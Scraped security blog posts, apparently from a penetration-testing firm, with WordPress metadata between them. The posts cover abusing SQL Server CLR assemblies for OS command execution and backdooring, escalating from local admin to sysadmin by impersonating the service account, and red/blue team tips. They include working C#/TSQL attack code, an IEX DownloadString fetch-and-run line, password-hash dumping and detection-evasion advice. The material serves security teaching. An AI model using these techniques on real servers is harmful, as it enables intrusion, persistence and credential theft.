I’ll also share a few new PowerUpSQL functions that can be used to execute the CLR attacks on a larger scale in Active Directory environments. Below is an overview of what will be covered.  Feel free to jump ahead:

What is a Custom CLR Assembly in SQL Server?

For the sake of this blog, we’ll define a Common Language Runtime (CLR) assembly as a .NET DLL (or group of DLLs) that can be imported into SQL Server.  Once imported, the DLL methods can be linked to stored procedures and executed via TSQL.  The ability to create and import custom CLR assemblies is a great way for developers to expand the native functionality of SQL Server, but naturally it also creates opportunities for attackers.

How do I Make a Custom CLR DLL for SQL Server?

Below is a C# template for executing OS commands based on Nathan Kirk’s work and a few nice Microsoft articles.  Naturally, you can make whatever modifications you want, but once you’re done save the file to "c:tempcmd_exec.cs".
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};
Now the goal is to simply compile "c:tempcmd_exec.cs" to a DLL using the csc.exe compiler. Even if you don’t have Visual Studio installed, the csc.exe compiler ships with the .NET framework by default. So, it should be on your Windows system somewhere. Below is a PowerShell command to help find it.
Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname
Assuming you found csc.exe, you can compile the "c:tempcmd_exec.cs" file to a DLL with a  command similar to the one below.
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs

How Do Import My CLR DLL into SQL Server?

To import your new DLL into SQL Server, your SQL login will need sysadmin privileges, the CREATE ASSEMBLY permission, or the ALTER ASSEMBLY permission. Follow the steps below to register your DLL and link it to a stored procedure so the cmd_exec method can be executed via TSQL. Log into your SQL Server as a sysadmin and issue the TSQL queries below.
-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;

-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
Now you should be able to execute OS commands via the “cmd_exec” stored procedure in the “msdb” database as shown in the example below.

When you’re done, you can remove the procedure and assembly with the TSQL below.
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

How Do I Convert My CLR DLL into a Hexadecimal String and Import It Without a File?

If you read Nathan Kirk’s original blog series, you already know that you don’t have to reference a physical DLL when importing CLR assemblies into SQL Server. "CREATE ASSEMBLY" will also accept a hexadecimal string representation of a CLR DLL file. Below is a PowerShell script example showing how to convert your "cmd_exec.dll" file into a TSQL command that can be used to create the assembly without a physical file reference.
# Target file
$assemblyFile = "c:tempcmd_exec.dll"

# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null

# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}

# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt
If everything went smoothly, the "c:tempcmd_exec.txt" file should contain the following TSQL commands. In the example, the hexadecimal string has been truncated, but yours should be much longer. ;)
-- Select the MSDB database
USE msdb

-- Enable clr on the server
Sp_Configure ‘clr enabled’, 1
RECONFIGURE
GO

-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 

-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; 
GO 

-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami' 
GO
When you run the TSQL from the "c:tempcmd_exec.txt"  file in SQL Server as a sysadmin the output should look like this:

PowerUpSQL Automation

If you haven’t used PowerUpSQL before you can visit the setup page here. I made a PowerUpSQL function call "Create-SQLFileCLRDll" to create similar DLLs and TSQL scripts on the fly. It also supports options for setting custom assembly names, class names, method names, and stored procedure names. If none are specified then they are all randomized. Below is a basic command example:
PS C:temp> Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt
Below is a short script for generating 10 sample CLR DLLs / CREATE ASSEMBLY TSQL scripts. It can come in handy when playing around with CLR assemblies in the lab.
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

How do I List Existing CLR Assemblies and CLR Stored Procedures?

You can use the TSQL query below to verify that your CLR assembly was setup correctly, or start hunting for existing user defined CLR assemblies. Note: This is a modified version of some code I found here.
USE msdb;
SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name], 
            af.file_id,                          
            af.name + '.dll' as [file_name],
            asmbly.clr_name,
            asmbly.assembly_id,           
            asmbly.name AS [assembly_name], 
            am.assembly_class,
            am.assembly_method,
            so.object_id as [sp_object_id],
            so.name AS [sp_name],
            so.[type] as [sp_type],
            asmbly.permission_set_desc,
            asmbly.create_date,
            asmbly.modify_date,
            af.content                                           
FROM        sys.assembly_modules am
INNER JOIN  sys.assemblies asmbly
ON          asmbly.assembly_id = am.assembly_id
INNER JOIN  sys.assembly_files af 
ON         asmbly.assembly_id = af.assembly_id 
INNER JOIN  sys.objects so
ON          so.[object_id] = am.[object_id]
With this query we can see the file name, assembly name, assembly class name, the assembly method, and the stored procedure the method is mapped to.

You should see "my_assembly" in your results. If you ran the 10 TSQL queries generated from "Create-SQLFileCLRDll" command I provided earlier, then you’ll also see the associated assembly information for those assemblies.

PowerUpSQL Automation

I added a function for this in PowerUpSQL called “Get-SQLStoredProcedureCLR” that will iterate through accessible databases and provide the assembly information for each one. Below is a command sample.
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView
You can also execute it against all domain SQL Servers with the command below (provided you have the right privileges).
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Mapping Procedure Parameters

Attackers aren’t the only ones creating unsafe assemblies.  Sometimes developers create assemblies that execute OS commands or interact with operating system resources. As a result, targeting and reversing those assemblies can sometimes lead to privilege escalation bugs. For example, if our assembly already existed, we could try to determine the parameters it accepts and how to use them.  Just for fun, let’s use the query below to blindly determine what parameters the “cmd_exec” stored procedure takes.
SELECT            pr.name as procname,
                        pa.name as param_name, 
                        TYPE_NAME(system_type_id) as Type,
                        pa.max_length, 
                        pa.has_default_value,
                        pa.is_nullable 
FROM             sys.all_parameters pa
INNER JOIN         sys.procedures pr on pa.object_id = pr.object_id
WHERE             pr.type like 'pc' and pr.name like 'cmd_exec'
In this example, we can see that  it only accepts one string parameter named "execCommand". An attacker targeting the stored procedure may be able to determine that it can be used for OS command execution.

How Do I Export a CLR Assembly that Exists in SQL Server to a DLL?

Simply testing the functionality of existing CLR assembly procedures isn’t our only option for finding escalation paths. In SQL Server we can also export user defined CLR assemblies back to DLLs. 😊 Let’s talk about going from CLR identification to CLR source code! To start we’ll have to identify the assemblies, export them back to DLLs, and decompile them so they can be analyzed for issues (or modified to inject backdoors).

PowerUpSQL Automation

In the last section, we talked about how to list out CLR assembly with the PowerUpSQL command below.
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
The same function supports a "ExportFolder" option. If you set it, the function will export the assemblies DLLs to that folder. Below is an example command and sample output.
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password 'sapassword!' | Format-Table -AutoSize
Once again, you can also export CLR DLLs on scale if you are a domain user and a sysadmin using the command below:
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize
DLLs can be found in the output folder. The script will dynamically build a folder structure based on each server name, instance, and database name.

Now you can view the source with your favorite decompiler. Over the last year I’ve become a big fan of dnSpy.  After reading the next section you’ll know why.

How do I Modify a CLR DLL and Overwrite an Assembly Already Imported into SQL Server?

Below is a brief overview showing how to decompile, view, edit, save, and reimport an existing SQL Server CLR DLL with dnSpy. You can download dnSpy from here. For this exercise, we are going to modify the cmd_exec.dll exported from SQL Server earlier.
  1. Open the cmd_exec.dll file in dnSpy. In the left panel, drill down until you find the “cmd_exec” method and select it. This will immediately allow you to review the source code and start hunting for bugs.

  2. Next, right-click the right panel containing the source code and choose "Edit Method (C#)…".

  3. Edit the code how you wish. However, in this example I added a simple "backdoor" that adds a file to the "c:temp" directory every time the "cmd_exec" method is called. Example code and a screen shot are below.
    [SqlProcedure]
    public static void cmd_exec(SqlString execCommand)
    {
        Process expr_05 = new Process();
        expr_05.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
        expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
        expr_05.StartInfo.UseShellExecute = true;
        expr_05.Start();
        expr_05.WaitForExit();
        expr_05.Close();
        Process expr_54 = new Process();
        expr_54.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
        expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:tempclr_backdoor.txt", execCommand.Value);
        expr_54.StartInfo.UseShellExecute = true;
        expr_54.Start();
        expr_54.WaitForExit();
        expr_54.Close();
    }
  4. Save the patched code by clicking the compile button. Then from the top menu choose File, Save Module….  Then click ok.

According to this Microsoft article, every time a CLR is compiled, a unique GUID is generated and embedded in the file header so that it’s possible to "distinguish between two versions of the same file".  This is referred to as the MVID (module version ID). To overwrite the existing CLR already imported into SQL Server, we’ll have to change the MVID manually. Below is an overview.
  1. Open “cmd_exec” in dnspy, if it’s not already open. Then drill down into the PE sections and select the “#GUID” storage stream. Then, right-click on it and choose “Show Data in Hex Editor”.

  2. Next, all you have to do is modify one of the selected bytes with an arbitrary value.

  3. Select File from the top menu and choose “Save Module…”.

PowerShell Automation

You can use the raw PowerShell command I provided earlier or you can use the PowerUPSQL command example below to obtain the hexadecimal bytes from the newly modified "cmd_exec.dll" file and generate the ALTER statement.
PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C#  File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
The new cmd_exec.txt should look some things like the statement below.
-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO
The ALTER statement is used to replace the existing CLR instead of DROP and CREATE. As Microsoft puts it, “ALTER ASSEMBLY does not disrupt currently running sessions that are running code in the assembly being modified. Current sessions complete execution by using the unaltered bits of the assembly.” So, in summary, nothing goes boom.  The TSQL query execution should look something like the screenshot below.

To check if your code modification worked, run the "cmd_exec" stored procedure and verify that the "c:tempbackdoor.txt" file was created.

Can I Escalate Privileges in SQL Server using a Custom CLR?

The short answer is yes, but there are some unlikely conditions that must be met first. If your SQL Server login is not a sysadmin, but has the CREATE or ALTER ASSEMBLY permission, you may be able to obtain sysadmin privileges using a custom CLR that executes OS commands under the context of the SQL Server service account (which is a sysadmin by default). However, for that to be successful, the database you create the CLR assembly in, must have the 'is_trustworthy' flag set to '1' and the 'clr enabled' server setting turned on. By default, only the msdb database is trustworthy, and the 'clr enabled' setting is disabled. :P I’ve never seen the CREATE or ALTER ASSEMBLY permissions assigned explicitly to a SQL login. However, I have seen application SQL logins added to the 'db_ddladmin' database role and that does have the 'ALTER ASSEMBLY' permission. Note: SQL Server 2017 introduced the 'clr strict security' configuration. Microsoft documentation states that the setting needs to be disabled to allow the creation of UNSAFE or EXTERNAL assemblies.

Wrap Up

In this blog, I showed a few ways CLR assemblies can be abused and how some of the tasks such as exporting CLR assemblies can be done on scale using PowerUpSQL. It’s worth noting that all of the techniques shown can be logged and tied to alerts using native SQL Server functionality, but I’ll have to cover that another day. In the meantime, have fun and hack responsibly! PS: Don’t forget that all of the attacks shown can also be executed via SQL Injection with a little manual effort / automation.

References

[post_title] => Attacking SQL Server CLR Assemblies [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => attacking-sql-server-clr-assemblies [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:52:23 [post_modified_gmt] => 2021-06-08 21:52:23 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=7812 [menu_order] => 248 [post_type] => post [post_mime_type] => [comment_count] => 4 [filter] => raw ) [19] => WP_Post Object ( [ID] => 7582 [post_author] => 17 [post_date] => 2017-05-23 07:00:59 [post_date_gmt] => 2017-05-23 07:00:59 [post_content] => In this blog, I outline common techniques that can be used to leverage the SQL Server service account to escalate privileges from a local administrator to a SQL Server sysadmin (DBA).  I also share a few PowerUpSQL functions that I worked on with Mike Manzotti (@mmanzo_) to perform SQL Server service account impersonation by wrapping Joe Bialek’s (@JosephBialek) wonderful Invoke-TokenManipulation function.

SQL Server Service Account Overview

At its core, SQL Server is just another Windows application.  In the case of SQL Server, every instance installs as a set of Windows Services that run in the background.  Each of those Windows services is configured to run with a Windows account.  The associated Windows account is then used for all interaction with the operating system. The primary Window service behind SQL Server is the “SQL Server (Instance)” service, which runs sqlservr.exe.  Typically, the instance name is baked into the service name. For the sake of illustration, here is what three instances installed on the same system looks like in the services.msc.

Img B B Ba F

SQL Server Service Account Types

SQL Server services can be configured with many types of Windows accounts.  Naturally the type of Windows account chosen can dramatically affects the impact in the event that a SQL Server is compromised. Below are some common service account types: So…impersonating the service account could potentially land you Domain Admin privileges.  However, that’s not the goal of today’s exercise. ;) If you only remember one thing from this blog it should be: Regardless of a SQL Server service account’s privileges on the operating system, it has sysadmin privileges in SQL Server by default. That is true of every SQL Server version (that I’m aware of). Now, let’s talk about how to get that sysadmin access as a local administrator or Domain Admin.

How do I impersonate the SQL Server Service Account?

Below are some common methods for impersonating SQL Server service accounts or acquiring their passwords if you have local or domain administrator privileges. Note: All the techniques focus on the operating system level. However, a local administrator could also obtain sysadmin privileges from a least privilege SQL Server login using SQL Server layer vulnerabilities. For those who are curious about what versions of SQL Server are affected by which techniques I’ve provided a list below:

How do I impersonate the SQL Server Service Account using PowerUpSQL?

Now that we’ve touched on the common techniques and tools, below are a few handy functions for impersonating the SQL Server service account with PowerUpSQL. Note: Once again, these functions just wrap around Joe Bialek's Invoke-TokenManipulation function.

Invoke-SQLImpersonateService

Invoke-SQLImpersonateService can be used to impersonate a SQL Server service account based on an instance name.  This can come in handy when you’re a local admin on a box and want to be able to run all the PowerUpSQL functions as a sysadmin against a local SQL Server instance. Below is a basic example.
  1. Log into the target system as a local or domain administrator. Then verify who you are.
    PS C:> whoami
    
    demoadministrator
  2. Next load the PowerShell module PowerUpSQL.
    PS C:> IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
  3. List the first available SQL Server instance on the local system.
    PS C:> Get-SQLInstanceLocal | Select-Object -First 1
    ComputerName       : MSSQLSRV04
    Instance           : MSSQLSRV04BOSCHSQL
    ServiceDisplayName : SQL Server (BOSCHSQL)
    ServiceName        : MSSQL$BOSCHSQL
    ServicePath        : "C:Program FilesMicrosoft SQL ServerMSSQL12.BOSCHSQLMSSQLBinnsqlservr.exe" -sBOSCHSQL
    ServiceAccount     : NT ServiceMSSQL$BOSCHSQL
    State              : Running
  4. Verify that the local administrator does not have sysadmin privileges on the local SQL Server instance using the Get-SQLServerInfo function.
    PS C:> Get-SQLServerInfo -Verbose -Instance MSSQLSRV04BOSCHSQL
    
    VERBOSE: MSSQLSRV04BOSCHSQL : Connection Success.
    
    ComputerName           : MSSQLSRV04
    Instance               : MSSQLSRV04BOSCHSQL
    DomainName             : DEMO
    ServiceProcessID       : 1620
    ServiceName            : MSSQL$BOSCHSQL
    ServiceAccount         : NT ServiceMSSQL$BOSCHSQL
    AuthenticationMode     : Windows and SQL Server Authentication
    Clustered              : No
    SQLServerVersionNumber : 12.0.4100.1
    SQLServerMajorVersion  : 2014
    SQLServerEdition       : Developer Edition (64-bit)
    SQLServerServicePack   : SP1
    OSArchitecture         : X64
    OsVersionNumber        : 6.2
    Currentlogin           : DEMOAdministrator
    IsSysadmin             : No
    ActiveSessions         : 1
    You should notice that the “CurrentLogin” is your current user account, and “IsSysadmin” is “No”.
  5. Impersonate the SQL Server service account for the target instance.
    PS C:> Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04BOSCHSQL
    
    VERBOSE: MSSQLSRV04BOSCHSQL : DEMOadministrator has local admin privileges.
    VERBOSE: MSSQLSRV04BOSCHSQL : Impersonating SQL Server process:
    VERBOSE: MSSQLSRV04BOSCHSQL : - Process ID: 1620
    VERBOSE: MSSQLSRV04BOSCHSQL : - Service Account: NT ServiceMSSQL$BOSCHSQL
    VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
    VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
    VERBOSE: MSSQLSRV04BOSCHSQL : Selecting token by Process object
    VERBOSE: MSSQLSRV04BOSCHSQL : Done.
  6. Verify that the SQL Server service account for the target instance was successful by running the Get-SQLServerInfo command.
    PS C:> Get-SQLServerInfo -Verbose -Instance MSSQLSRV04BOSCHSQL
    
    VERBOSE: MSSQLSRV04BOSCHSQL : Connection Success.
    ComputerName           : MSSQLSRV04
    Instance               : MSSQLSRV04BOSCHSQL
    DomainName             : DEMO
    ServiceProcessID       : 1620
    ServiceName            : MSSQL$BOSCHSQL
    ServiceAccount         : NT ServiceMSSQL$BOSCHSQL
    AuthenticationMode     : Windows and SQL Server Authentication
    Clustered              : No
    SQLServerVersionNumber : 12.0.4100.1
    SQLServerMajorVersion  : 2014
    SQLServerEdition       : Developer Edition (64-bit)
    SQLServerServicePack   : SP1
    OSArchitecture         : X64
    OsMachineType          : ServerNT
    OSVersionName          : Windows Server 2012 Standard
    OsVersionNumber        : 6.2
    CurrentLogin           : NT ServiceMSSQL$BOSCHSQL
    IsSysadmin             : Yes
    ActiveSessions         : 1
    You should notice that the “CurrentLogin” is now the SQL Server service account, and “IsSysadmin” is now “Yes”.  At this point, any PowerUpSQL function you run will be in a sysadmin context. :)
  7. Once you're all done doing what you need to do, revert to your original user context with the command below.
    PS C:> Invoke-SQLImpersonateService -Verbose -Rev2Self
Below is a short demo video: [video width="720" height="774" mp4="https://www.netspi.com/wp-content/uploads/2017/05/PowerUpSQL-7-Escalating-Local-Admin-to-Sysadmin.mp4"][/video]

Invoke-SQLImpersonateServiceCmd

Below is an example showing how to quickly start a cmd.exe in the context of each SQL service account associated with the instance MSSQLSRV04BOSCHSQL.  It's a little silly, but it seems to be an effective way to illustrate risk around SQL Server service accounts during demos.
PS C:> Invoke-SQLImpersonateServiceCmd -Instance MSSQLSRV04BOSCHSQL

Note: The verbose flag will give you more info if you need it.

MSSQLSRV04BOSCHSQL - Service: SQL Full-text Filter Daemon Launcher (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSSQLFDLauncher$BOSCHSQL
MSSQLSRV04BOSCHSQL - Service: SQL Server Reporting Services (BOSCHSQL) - Running command "cmd.exe" as NT ServiceReportServer$BOSCHSQL
MSSQLSRV04BOSCHSQL - Service: SQL Server Analysis Services (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSOLAP$BOSCHSQL
MSSQLSRV04BOSCHSQL - Service: SQL Server (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSSQL$BOSCHSQL

All done.

When the function is done running you should have a cmd.exe window for each of the services.

Img B A Note: You can also set a custom command to run using the -Exec command.

Get-SQLServerPasswordHash

Mike Manzotti (@mmanzo_) was nice enough to write a great function for pulling SQL Server login password hashes. It can be quite handy during penetration tests when searching for commonly shared account passwords.  He also added a -migrate switch to automatically escalate to sysadmin if your executing against a local instance with local administrator privileges.
PS C:> Get-SQLServerPasswordHash -Verbose -Instance MSSQLSRV04BOSCHSQL -Migrate

VERBOSE: MSSQLSRV04BOSCHSQL : Connection Success.
VERBOSE: MSSQLSRV04BOSCHSQL : You are not a sysadmin.
VERBOSE: MSSQLSRV04BOSCHSQL : DEMOadministrator has local admin privileges.
VERBOSE: MSSQLSRV04BOSCHSQL : Impersonating SQL Server process:
VERBOSE: MSSQLSRV04BOSCHSQL : - Process ID: 1568
VERBOSE: MSSQLSRV04BOSCHSQL : - ServiceAccount: NT ServiceMSSQL$BOSCHSQL
VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
VERBOSE: MSSQLSRV04BOSCHSQL : Selecting token by Process object
VERBOSE: MSSQLSRV04BOSCHSQL : Attempting to dump password hashes.
VERBOSE: MSSQLSRV04BOSCHSQL : Attempt complete.
VERBOSE: 3 password hashes recovered.

ComputerName        : MSSQLSRV04
Instance            : MSSQLSRV04BOSCHSQL
PrincipalId         : 1
PrincipalName       : sa
PrincipalSid        : 1
PrincipalType       : SQL_LOGIN
CreateDate          : 4/8/2003 9:10:35 AM
DefaultDatabaseName : master
PasswordHash        : 0x0200698883dbec3fb88c445d43b99794043453384d13659ce72fc907af5a34534563c1624d935279f6447be9ec44467d4d1ef56d8e14a91fe183450520f560c2

[TRUNCATED]
Note: Mike also mentioned that it’s been working well remotely over WMI. :)

General Recommendations

Below are some basic recommendations that can be used to reduce the risk of the common escalation techniques outlined in this blog.
  • Upgrade to Windows Server 2012 or greater to support common OS controls.
  • Upgrade to SQL Server 2012 or greater to support common SQL Server controls.
  • Do not allow the storage of wdigest passwords in memory.
  • Do enable process protection.
  • Do use managed service accounts for standalone SQL Servers.
  • Do use least privilege domain accounts for clustered SQL Servers.
  • "Run separate SQL Server services under separate Windows accounts. Whenever possible, use separate, low-rights Windows or Local user accounts for each SQL Server service." For more information, see Configure Windows Service Accounts and Permissions.
  • Consider running endpoint protection that can identify common remote code injection techniques. *I am aware that nobody wants to put performance impacting software on a database server.  :)
  • More from Microsoft here
I would love to say “Simply remove the SQL Server service account from the Sysadmin fixed server role”, but I haven’t done enough testing to feel comfortable with that recommendation. As of right now it is a mystery to me why the service account is a sysadmin by default.  If anyone knows why, or has additional mitigating control recommendations please let me know.

Wrap Up

In this blog, I outlined common techniques that can be used to escalate privileges from a local Windows administrator to a SQL Server sysadmin (DBA).  I’ve also shared a few new PowerUpSQL functions that wrap the Invoke-TokenManipulation function to help make the job easier.  Hopefully they’ll be helpful. Have fun and hack responsibly! [post_title] => How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL [post_excerpt] => In this blog I outline common techniques that can be used to leverage the SQL Server service account to escalate privileges from a local administrator to a SQL Server sysadmin (DBA). [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => get-sql-server-sysadmin-privileges-local-admin-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:51:52 [post_modified_gmt] => 2021-06-08 21:51:52 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=7582 [menu_order] => 253 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [20] => WP_Post Object ( [ID] => 6761 [post_author] => 17 [post_date] => 2016-10-11 07:00:08 [post_date_gmt] => 2016-10-11 07:00:08 [post_content] =>

Despite the large investment many companies have made in detective controls, it’s still pretty common for us to take over an entire network during a penetration test or red team engagement, and never trigger a single response ticket. Naturally this has generated some concern at the CSO level as to whether or not a real breach would be detected.

Testing the effectiveness of detective and preventative controls can be a challenge. However, the process can be a lot easier if common attack workflows are understood, and broken into manageable pieces. In this blog, I’ll share an eyechart an infographic that illustrates some common red team attack workflows and blue team controls to help get you started.

Disclaimer: Unfortunately, it’s a pain to get lots of information into one diagram. So it only represents common phishing attacks workflows and should not be considered complete or comprehensive. The tools, techniques, and procedures used by attackers are constantly evolving and changing so there is just not enough room on the page to fit it all in.

Hopefully the information will be interesting to security teams in the process of building out and testing their preventative and detective capabilities.

Infographic Download

You can download the infographic here. And learn more about NetSPI's red team security services here.

Also, below are some general tips for red and blue teams who are just getting their feet wet. They’ve helped me out a lot in the past.

General Red Team Tips

Below are a few general tips for avoiding detection during red team engagements.

  1. Do not perform large scanning operations.
  2. Do not perform online dictionary attacks.
  3. Do perform recon locally and on the network.
  4. Do perform targeted attacks based on recon data.
  5. Do not use common attack tools. Especially on disk.
  6. Do try to stay off disk when possible.
  7. Do try to operate as a normal user or application.
  8. Do try to use native technologies to access the environment remotely without a C2. If C2 is required the use of beaconing, tunneling, and side channels typically goes undetected.
  9. Do not change major configuration states.
  10. Do not create accounts.

General Blue Team Detective Control Tips

Below are a few general tips for detecting unskilled attackers.

  1. Define clear detective control boundaries.
    It may be cliché, but detection in depth is as important as defense in depth these days. Make sure to have a good understanding of all the layers your environments and define clear detective control boundaries. This should include, but is not limited to networks, endpoints, applications, and databases. Also, don’t neglect your internal processes and intelligence feeds. They can be handy when trying to evaluate context and risk.
  2. Map out your data and logging sources for each layer of the environment.
    You may have information that can be used to detect IoAs and IoCs that you were unaware of. Having a solid understanding of what information is available will allow you to be a more adaptive blue team.
  3. Find solutions based on value not price.
    There are lots of preventative and detective control products out there. Most of the mature options are commercial, but the open source options are getting better. Also, don’t be afraid to get a little dirty and write some of your own tools. Naturally this can include things like HIDS, HIPS, NIDS, NIPS, SIEM, DLP, honeypots, tarpits, and canaries. I’m personally a big fan of canaries – they are cheap and can be really effective.
  4. Be creative.
    For example, many endpoint protection suites can detect common scanning activity on the LAN in the absence of internal net flow data.
  5. Audit for high impact security events. Make sure you have coverage for the most common IoC and IoAs at each layer of your environment. This one seems obvious, but a lot of companies miss common high impact events.
  6. Work with your red team to test controls.
    In my experience, you get the most value out of red team engagements when the red and blue teams work together to understand attacks in depth. That collaboration generally leads to better preventative and detective controls.While performing offensive actions against implemented controls consider asking the following basic questions to help ensure ongoing improvement:
    1. Were any security events logged for the attack? (Where, Why/Why not?)
    2. Did the security events trigger alerts? (Where, Why/Why not?)
    3. Did the security events trigger an incident response ticket? (Where, Why/Why not?)

Conclusion

Go purple team! Naturally, every red team engagement has different goals and collaborating with the blue team isn’t always going to align with them. However, if one of your goals is to test the effectiveness the technical detective controls in place, then working together will yield much better results than doing everything in a silo. Hopefully this was helpful. Have fun and hack responsibly!

